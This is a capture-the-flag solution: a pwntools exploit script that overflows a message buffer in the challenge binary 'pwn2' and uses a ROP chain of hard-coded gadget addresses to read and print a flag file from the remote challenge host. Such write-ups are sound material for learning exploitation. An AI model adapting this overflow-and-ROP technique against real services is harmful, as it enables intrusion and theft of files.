Rating:

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 79gq4l5zpv1aogjgw6yhhymi4.ctf.p0wnhub.com --port 21337 pwn2
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('pwn2')

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '79gq4l5zpv1aogjgw6yhhymi4.ctf.p0wnhub.com'
port = int(args.PORT or 21337)

def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak smsg

b *0x00000000004012D7
continue
'''.format(**locals())

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

def smsg(io, s):
io.recvuntil(">")
io.send("smsg")
for _ in range(0x57):
io.recvuntil("->")
io.sendline("*")
io.recvuntil("Send?(Y/N)")
io.sendline("N")
io.recvuntil("->")
io.sendline(s)
io.recvuntil("Send?(Y/N)")
io.sendline("Y")
io.recvline()

def auth(io):
io.recvuntil(">")
io.send("auth")
io.recvuntil("Enter username: ")
io.sendline(".flag")

pop_rsi_pop_r15_ret = 0x0000000000401559
pop_rdi_ret = 0x000000000040155b
pop_rbp_ret = 0x0000000000401179
read_file = 0x00000000004012F3
flag_file = 0x0000000000404080

payload = flat([
pop_rsi_pop_r15_ret,
0,
0,

pop_rdi_ret,
flag_file,

pop_rbp_ret,
0x404200,

read_file,
])

io = start()

auth(io)
smsg(io, payload)

flag = io.recv()
log.success(flag.decode())
```